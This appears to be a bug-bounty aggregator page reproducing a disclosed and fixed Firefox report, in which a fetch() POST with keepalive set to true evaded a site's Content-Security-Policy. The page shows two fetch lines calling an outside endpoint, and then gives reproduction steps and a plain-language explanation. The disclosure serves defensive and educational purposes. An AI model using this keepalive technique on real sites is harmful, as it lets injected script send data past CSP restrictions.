Skip to content
XSS Disclosed report Intermediate CVE-2026-2784

bypass CSP with fetch with keepalive: true

A browser-specific flaw in Firefox allowed a fetch request with the keepalive option set to true to bypass the site's Content-Security-Policy, while the same request with keepalive false was blocked. An attacker could use this to send data to an external endpoint that the CSP was meant to forbid.

Daniel Santos Follow

Originally disclosed on Mozilla

  • Fixed in 12 days
  • Paid in 21 days
  • Disclosed after 12 days
Text
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0

Steps to reproduce:

I verified that on the website https://www.meo.pt it's possible to bypass the Content-Security-Policy by adding the `keepalive` parameter to `true` in the fetch request.

Example where the CSP works and the request is blocked: `fetch("https://mpc-prod-27-s6uit34pua-uk.a.run.app/events?cee=no", { method: 'POST', keepalive: false });`

Example of bypassing the CSP: `fetch("https://mpc-prod-27-s6uit34pua-uk.a.run.app/events?cee=no", { method: 'POST', keepalive: true});`

In Chrome and Edge, you can see that both requests are blocked as expected.


Actual results:

The request with `keepalive` set to `true` is not blocked.


Expected results:

e request with `keepalive` set to `true` should be blocked as expected, just as it happens in Chrome and Edge.

The original report as published on Mozilla's Bugzilla, by Daniel Santos. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser did not apply the page's Content-Security-Policy checks to fetch requests made with the keepalive option enabled.

Impact

An attacker who can run script on the page could send data to an external endpoint that the CSP was intended to block, but only in Firefox; Chrome and Edge blocked both requests.

What the attacker needed

Firefox browser; ability to run script on the page

How it was found

  1. Open the website in Firefox.
  2. Send a fetch request with keepalive set to false and observe it is blocked by CSP.
  3. Send the same fetch request with keepalive set to true and observe it is not blocked.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A Content-Security-Policy (CSP) is a rule set a website sends to your browser telling it which other sites it may talk to. Here, Firefox ignored those rules for one specific kind of request (one marked to keep running even if the page closes), so data could be sent to a server the site had tried to block. Chrome and Edge did not have this problem.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Daniel Santos

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.